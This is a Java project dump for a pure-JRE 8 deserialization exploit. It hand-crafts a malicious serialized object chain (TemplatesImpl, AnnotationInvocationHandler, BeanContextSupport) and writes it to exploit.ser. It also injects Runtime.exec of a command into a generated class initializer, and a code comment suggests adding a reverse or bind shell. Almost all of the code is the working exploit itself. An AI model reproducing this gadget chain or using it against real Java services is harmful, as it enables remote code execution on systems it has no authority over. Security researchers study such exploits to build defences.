├── README.md ├── pom.xml └── src └── main └── java ├── ExploitGenerator.java └── util ├── ClassFiles.java ├── Converter.java ├── Gadgets.java ├── Reflections.java ├── Serializables.java └── XXD.java /README.md: -------------------------------------------------------------------------------- 1 | # Pure JRE 8 RCE Deserialization gadget 2 | Based on Chris Frohoff and Wouter Coekaerts ideas: 3 | - https://gist.github.com/frohoff/24af7913611f8406eaf3 4 | - http://wouter.coekaerts.be/2015/annotationinvocationhandler 5 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | SerialKiller 8 | JRE8Exploit 9 | 1.0-SNAPSHOT 10 | 11 | 12 | 13 | org.javassist 14 | javassist 15 | 3.19.0-GA 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /src/main/java/ExploitGenerator.java: -------------------------------------------------------------------------------- 1 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 2 | import util.Converter; 3 | import util.Gadgets; 4 | import util.Reflections; 5 | import util.XXD; 6 | 7 | import javax.xml.transform.Templates; 8 | import java.beans.beancontext.BeanContextChildSupport; 9 | import java.beans.beancontext.BeanContextSupport; 10 | import java.io.ByteArrayInputStream; 11 | import java.io.FileOutputStream; 12 | import java.io.ObjectInputStream; 13 | import java.lang.reflect.Proxy; 14 | import java.util.HashMap; 15 | import java.util.HashSet; 16 | import java.util.LinkedHashSet; 17 | 18 | import static java.io.ObjectStreamConstants.*; 19 | 20 | public class ExploitGenerator { 21 | 22 | public static void main(String[] args) throws Exception { 23 | 24 | String command = "pwnalert"; 25 | 26 | TemplatesImpl templates = null; 27 | try { 28 | templates = Gadgets.createTemplatesImpl(command); 29 | Reflections.setFieldValue(templates, "_auxClasses", null); 30 | 31 | } catch (Exception e) { 32 | e.printStackTrace(); 33 | } 34 | 35 | byte[] bytes = Converter.toBytes(getData(templates)); 36 | 37 | XXD.print(bytes); 38 | 39 | // Adjust references 40 | patch(bytes); 41 | 42 | FileOutputStream fos = new FileOutputStream("exploit.ser"); 43 | fos.write(bytes); 44 | fos.close(); 45 | 46 | ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes)); 47 | ois.readObject(); 48 | 49 | } 50 | 51 | public static byte[] patch(byte[] bytes) { 52 | for (int i = 0; i < bytes.length; i++) { 53 | if (bytes[i] == 0x71 && bytes[i+1] == 0x00 && bytes[i+2] == 0x7e && bytes[i+3] ==0x00) { 54 | i = i + 4; 55 | System.out.print("Adjusting reference from: " + bytes[i]); 56 | if (bytes[i] == 1) bytes[i] = 5; // (String) 57 | if (bytes[i] == 10) bytes[i] = 13; // (ObjectStreamClass) [[B 58 | if (bytes[i] == 12) bytes[i] = 25; // (BeanContextSupport) 59 | if (bytes[i] == 2) bytes[i] = 9; // (TemplatesImpl) 60 | if (bytes[i] == 16) bytes[i] = 29; // (InvocationHandler) 61 | System.out.println(" to: " + bytes[i]); 62 | } 63 | } 64 | return bytes; 65 | } 66 | 67 | static Object[] getData(TemplatesImpl templates) { 68 | 69 | HashMap map = new HashMap(); 70 | // We need map.put("f5a5a608", templates) but ObjectOutputStream does not create a 71 | // reference for templates so that its exactly the same instance as the one added 72 | // directly to the LinkedHashSet. So instead, we can add a string since OOS 73 | // will create a reference to the existing string, and then I can manually 74 | // replace the reference with one pointing to the templates instance in the LinkedHashSet 75 | map.put("f5a5a608", "f5a5a608"); 76 | 77 | int offset = 0; 78 | return new Object[]{ 79 | STREAM_MAGIC, STREAM_VERSION, // stream headers 80 | 81 | // (1) LinkedHashSet 82 | TC_OBJECT, 83 | TC_CLASSDESC, 84 | LinkedHashSet.class.getName(), 85 | -2851667679971038690L, 86 | (byte) 2, // flags 87 | (short) 0, // field count 88 | TC_ENDBLOCKDATA, 89 | TC_CLASSDESC, // super class 90 | HashSet.class.getName(), 91 | -5024744406713321676L, 92 | (byte) 3, // flags 93 | (short) 0, // field count 94 | TC_ENDBLOCKDATA, 95 | TC_NULL, // no superclass 96 | 97 | // Block data that will be read by HashSet.readObject() 98 | // Used to configure the HashSet (capacity, loadFactor, size and items) 99 | TC_BLOCKDATA, 100 | (byte) 12, 101 | (short) 0, 102 | (short) 16, // capacity 103 | (short) 16192, (short) 0, (short) 0, // loadFactor 104 | (short) 2, // size 105 | 106 | // (2) First item in LinkedHashSet 107 | templates, // TemplatesImpl instance with malicious bytecode 108 | 109 | // (3) Second item in LinkedHashSet 110 | // Templates Proxy with AIH handler 111 | TC_OBJECT, 112 | TC_PROXYCLASSDESC, // proxy declaration 113 | 1, // one interface 114 | Templates.class.getName(), // the interface implemented by the proxy 115 | TC_ENDBLOCKDATA, 116 | TC_CLASSDESC, 117 | Proxy.class.getName(), // java.lang.Proxy class desc 118 | -2222568056686623797L, // serialVersionUID 119 | SC_SERIALIZABLE, // flags 120 | (short) 2, // field count 121 | (byte) 'L', "dummy", TC_STRING, "Ljava/lang/Object;", // dummy non-existent field 122 | (byte) 'L', "h", TC_STRING, "Ljava/lang/reflect/InvocationHandler;", // h field 123 | TC_ENDBLOCKDATA, 124 | TC_NULL, // no superclass 125 | 126 | // (3) Field values 127 | // value for the dummy field <--- BeanContextSupport. 128 | // this field does not actually exist in the Proxy class, so after deserialization this object is ignored. 129 | // (4) BeanContextSupport 130 | TC_OBJECT, 131 | TC_CLASSDESC, 132 | BeanContextSupport.class.getName(), 133 | -4879613978649577204L, // serialVersionUID 134 | (byte) (SC_SERIALIZABLE | SC_WRITE_METHOD), 135 | (short) 1, // field count 136 | (byte) 'I', "serializable", // serializable field, number of serializable children 137 | TC_ENDBLOCKDATA, 138 | TC_CLASSDESC, // super class 139 | BeanContextChildSupport.class.getName(), 140 | 6328947014421475877L, 141 | SC_SERIALIZABLE, 142 | (short) 1, // field count 143 | (byte) 'L', "beanContextChildPeer", TC_STRING, "Ljava/beans/beancontext/BeanContextChild;", 144 | TC_ENDBLOCKDATA, 145 | TC_NULL, // no superclass 146 | 147 | // (4) Field values 148 | // beanContextChildPeer must point back to this BeanContextSupport for BeanContextSupport.readObject to go into BeanContextSupport.readChildren() 149 | TC_REFERENCE, baseWireHandle + 12, 150 | // serializable: one serializable child 151 | 1, 152 | 153 | // now we add an extra object that is not declared, but that will be read/consumed by readObject 154 | // BeanContextSupport.readObject calls readChildren because we said we had one serializable child but it is not in the byte array 155 | // so the call to child = ois.readObject() will deserialize next object in the stream: the AnnotationInvocationHandler 156 | // At this point we enter the readObject of the aih that will throw an exception after deserializing its default objects 157 | 158 | // (5) AIH that will be deserialized as part of the BeanContextSupport 159 | TC_OBJECT, 160 | TC_CLASSDESC, 161 | "sun.reflect.annotation.AnnotationInvocationHandler", 162 | 6182022883658399397L, // serialVersionUID 163 | (byte) (SC_SERIALIZABLE | SC_WRITE_METHOD), 164 | (short) 2, // field count 165 | (byte) 'L', "type", TC_STRING, "Ljava/lang/Class;", // type field 166 | (byte) 'L', "memberValues", TC_STRING, "Ljava/util/Map;", // memberValues field 167 | TC_ENDBLOCKDATA, 168 | TC_NULL, // no superclass 169 | 170 | // (5) Field Values 171 | Templates.class, // type field value 172 | map, // memberValues field value 173 | 174 | // note: at this point normally the BeanContextSupport.readChildren would try to read the 175 | // BCSChild; but because the deserialization of the AnnotationInvocationHandler above throws, 176 | // we skip past that one into the catch block, and continue out of readChildren 177 | 178 | // the exception takes us out of readChildren and into BeanContextSupport.readObject 179 | // where there is a call to deserialize(ois, bcmListeners = new ArrayList(1)); 180 | // Within deserialize() there is an int read (0) and then it will read as many obejcts (0) 181 | 182 | TC_BLOCKDATA, 183 | (byte) 4, // block length 184 | 0, // no BeanContextSupport.bcmListenes 185 | TC_ENDBLOCKDATA, 186 | 187 | // (6) value for the Proxy.h field 188 | TC_REFERENCE, baseWireHandle + offset + 16, // refer back to the AnnotationInvocationHandler 189 | 190 | TC_ENDBLOCKDATA, 191 | }; 192 | } 193 | } 194 | 195 | 196 | 197 | -------------------------------------------------------------------------------- /src/main/java/util/ClassFiles.java: -------------------------------------------------------------------------------- 1 | package util; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.IOException; 5 | import java.io.InputStream; 6 | 7 | public class ClassFiles { 8 | public static String classAsFile(final Class clazz) { 9 | return classAsFile(clazz, true); 10 | } 11 | 12 | public static String classAsFile(final Class clazz, boolean suffix) { 13 | String str; 14 | if (clazz.getEnclosingClass() == null) { 15 | str = clazz.getName().replace(".", "/"); 16 | } else { 17 | str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); 18 | } 19 | if (suffix) { 20 | str += ".class"; 21 | } 22 | return str; 23 | } 24 | 25 | public static byte[] classAsBytes(final Class clazz) { 26 | try { 27 | final byte[] buffer = new byte[1024]; 28 | final String file = classAsFile(clazz); 29 | final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); 30 | if (in == null) { 31 | throw new IOException("couldn't find '" + file + "'"); 32 | } 33 | final ByteArrayOutputStream out = new ByteArrayOutputStream(); 34 | int len; 35 | while ((len = in.read(buffer)) != -1) { 36 | out.write(buffer, 0, len); 37 | } 38 | return out.toByteArray(); 39 | } catch (IOException e) { 40 | throw new RuntimeException(e); 41 | } 42 | } 43 | 44 | } 45 | -------------------------------------------------------------------------------- /src/main/java/util/Converter.java: -------------------------------------------------------------------------------- 1 | package util; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.DataOutputStream; 5 | import java.io.IOException; 6 | import java.io.ObjectOutputStream; 7 | 8 | // adapted from http://slightlyrandombrokenthoughts.blogspot.com/2010/08/breaking-defensive-serialization.html 9 | public class Converter { 10 | public static byte[] toBytes(Object[] objs) throws IOException { 11 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 12 | DataOutputStream dos = new DataOutputStream(baos); 13 | for (Object obj : objs) { 14 | treatObject(dos, obj); 15 | } 16 | dos.close(); 17 | return baos.toByteArray(); 18 | } 19 | 20 | public static void treatObject(DataOutputStream dos, Object obj) 21 | throws IOException { 22 | if (obj instanceof Byte) { 23 | dos.writeByte((Byte) obj); 24 | } else if (obj instanceof Short) { 25 | dos.writeShort((Short) obj); 26 | } else if (obj instanceof Integer) { 27 | dos.writeInt((Integer) obj); 28 | } else if (obj instanceof Long) { 29 | dos.writeLong((Long) obj); 30 | } else if (obj instanceof String) { 31 | dos.writeUTF((String) obj); 32 | } else { 33 | ByteArrayOutputStream ba = new ByteArrayOutputStream(); 34 | ObjectOutputStream oos = new ObjectOutputStream(ba); 35 | oos.writeObject(obj); 36 | oos.close(); 37 | dos.write(ba.toByteArray(), 4, ba.size() - 4); // 4 = skip the header 38 | } 39 | } 40 | } 41 | 42 | -------------------------------------------------------------------------------- /src/main/java/util/Gadgets.java: -------------------------------------------------------------------------------- 1 | package util; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 4 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 5 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 6 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 7 | import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; 8 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 9 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 10 | import javassist.ClassClassPath; 11 | import javassist.ClassPool; 12 | import javassist.CtClass; 13 | 14 | import java.io.Serializable; 15 | import java.lang.reflect.Array; 16 | import java.lang.reflect.InvocationHandler; 17 | import java.lang.reflect.Proxy; 18 | import java.util.HashMap; 19 | import java.util.Map; 20 | 21 | /* 22 | * utility generator functions for common jdk-only gadgets 23 | */ 24 | @SuppressWarnings("restriction") 25 | public class Gadgets { 26 | public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; 27 | 28 | public static class StubTransletPayload extends AbstractTranslet implements Serializable { 29 | private static final long serialVersionUID = -5971610431559700674L; 30 | 31 | public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} 32 | 33 | @Override 34 | public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} 35 | } 36 | 37 | // required to make TemplatesImpl happy 38 | public static class Foo implements Serializable { 39 | private static final long serialVersionUID = 8207363842866235160L; 40 | } 41 | 42 | public static T createMemoitizedProxy(final Map map, final Class iface, 43 | final Class ... ifaces) throws Exception { 44 | return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); 45 | } 46 | 47 | public static InvocationHandler createMemoizedInvocationHandler(final Map map) throws Exception { 48 | return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); 49 | } 50 | 51 | public static T createProxy(final InvocationHandler ih, final Class iface, final Class ... ifaces) { 52 | final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1); 53 | allIfaces[0] = iface; 54 | if (ifaces.length > 0) { 55 | System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); 56 | } 57 | return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces , ih)); 58 | } 59 | 60 | public static Map createMap(final String key, final Object val) { 61 | final Map map = new HashMap(); 62 | map.put(key,val); 63 | return map; 64 | } 65 | 66 | public static TemplatesImpl createTemplatesImpl(final String command) throws Exception { 67 | final TemplatesImpl templates = new TemplatesImpl(); 68 | 69 | // use template gadget class 70 | ClassPool pool = ClassPool.getDefault(); 71 | pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); 72 | final CtClass clazz = pool.get(StubTransletPayload.class.getName()); 73 | // run command in static initializer 74 | // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections 75 | clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");"); 76 | // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) 77 | clazz.setName("ysoserial.Pwner" + System.nanoTime()); 78 | 79 | final byte[] classBytes = clazz.toBytecode(); 80 | 81 | // inject class bytes into instance 82 | Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { 83 | classBytes, 84 | ClassFiles.classAsBytes(Foo.class)}); 85 | 86 | // required to make TemplatesImpl happy 87 | Reflections.setFieldValue(templates, "_name", "Pwnr"); 88 | Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); 89 | return templates; 90 | } 91 | } 92 | -------------------------------------------------------------------------------- /src/main/java/util/Reflections.java: -------------------------------------------------------------------------------- 1 | package util; 2 | 3 | import java.lang.reflect.Constructor; 4 | import java.lang.reflect.Field; 5 | 6 | public class Reflections { 7 | 8 | public static Field getField(final Class clazz, final String fieldName) throws Exception { 9 | Field field = null; 10 | try { 11 | field = clazz.getDeclaredField(fieldName); 12 | if (field == null && clazz.getSuperclass() != null) { 13 | field = getField(clazz.getSuperclass(), fieldName); 14 | } 15 | } catch (Exception e) { 16 | field = getField(clazz.getSuperclass(), fieldName); 17 | } 18 | if (field != null) { 19 | field.setAccessible(true); 20 | return field; 21 | } else { 22 | return null; 23 | } 24 | } 25 | 26 | public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { 27 | final Field field = getField(obj.getClass(), fieldName); 28 | field.set(obj, value); 29 | } 30 | 31 | public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { 32 | final Field field = getField(obj.getClass(), fieldName); 33 | return field.get(obj); 34 | } 35 | 36 | public static Constructor getFirstCtor(final String name) throws Exception { 37 | final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; 38 | ctor.setAccessible(true); 39 | return ctor; 40 | } 41 | 42 | } 43 | -------------------------------------------------------------------------------- /src/main/java/util/Serializables.java: -------------------------------------------------------------------------------- 1 | package util; 2 | 3 | import java.io.*; 4 | 5 | public class Serializables { 6 | 7 | public static byte[] serialize(final Object obj) throws IOException { 8 | final ByteArrayOutputStream out = new ByteArrayOutputStream(); 9 | serialize(obj, out); 10 | return out.toByteArray(); 11 | } 12 | 13 | public static void serialize(final Object obj, final OutputStream out) throws IOException { 14 | final ObjectOutputStream objOut = new ObjectOutputStream(out); 15 | objOut.writeObject(obj); 16 | } 17 | 18 | public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException { 19 | final ByteArrayInputStream in = new ByteArrayInputStream(serialized); 20 | return deserialize(in); 21 | } 22 | 23 | public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException { 24 | final ObjectInputStream objIn = new ObjectInputStream(in); 25 | return objIn.readObject(); 26 | } 27 | 28 | 29 | 30 | } -------------------------------------------------------------------------------- /src/main/java/util/XXD.java: -------------------------------------------------------------------------------- 1 | package util; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.PrintStream; 5 | 6 | 7 | public class XXD { 8 | 9 | protected static void printLineNumber(PrintStream stream, int idx) { 10 | stream.printf("%08x:", idx); 11 | } 12 | 13 | protected static void printHexCharOrSpace(PrintStream stream, byte[] byteBuffer, int offset) { 14 | if (offset < byteBuffer.length) { 15 | stream.printf("%02x", byteBuffer[offset]); 16 | } else { 17 | stream.printf(" "); 18 | } 19 | } 20 | 21 | protected static void printHexBytes(PrintStream stream, byte[] byteBuffer, int offset ) { 22 | int bytes = byteBuffer.length; 23 | for (int j = 0; j < 8; ++j) { 24 | stream.printf(" "); 25 | printHexCharOrSpace(stream, byteBuffer, offset+2*j); 26 | printHexCharOrSpace(stream, byteBuffer, offset+2*j+1); 27 | } 28 | } 29 | 30 | protected static void printPrintableChars(PrintStream stream, byte[] byteBuffer, int offset) { 31 | int bytes = byteBuffer.length; 32 | for (int j = 0; j < 16; ++j) { 33 | if (offset + j < bytes) { 34 | byte b = byteBuffer[offset + j]; 35 | if (Character.isISOControl((char) b)) { 36 | stream.printf("."); 37 | } else { 38 | stream.append((char) b); 39 | } 40 | } else { 41 | stream.append(' '); 42 | } 43 | } 44 | } 45 | 46 | public static void print(byte[] byteBuffer) { 47 | int bytes = byteBuffer.length; 48 | ByteArrayOutputStream bstream = new ByteArrayOutputStream(); 49 | try { 50 | PrintStream stream = new PrintStream(bstream); 51 | for (int idx = 0; idx < bytes; idx += 16) { 52 | printLineNumber(stream, idx); 53 | printHexBytes(stream, byteBuffer, idx); 54 | stream.printf(" "); 55 | printPrintableChars(stream, byteBuffer, idx); 56 | stream.printf("\n"); 57 | } 58 | } catch (Exception e) { 59 | e.printStackTrace(); 60 | } 61 | System.out.println(bstream.toString()); 62 | } 63 | } 64 | --------------------------------------------------------------------------------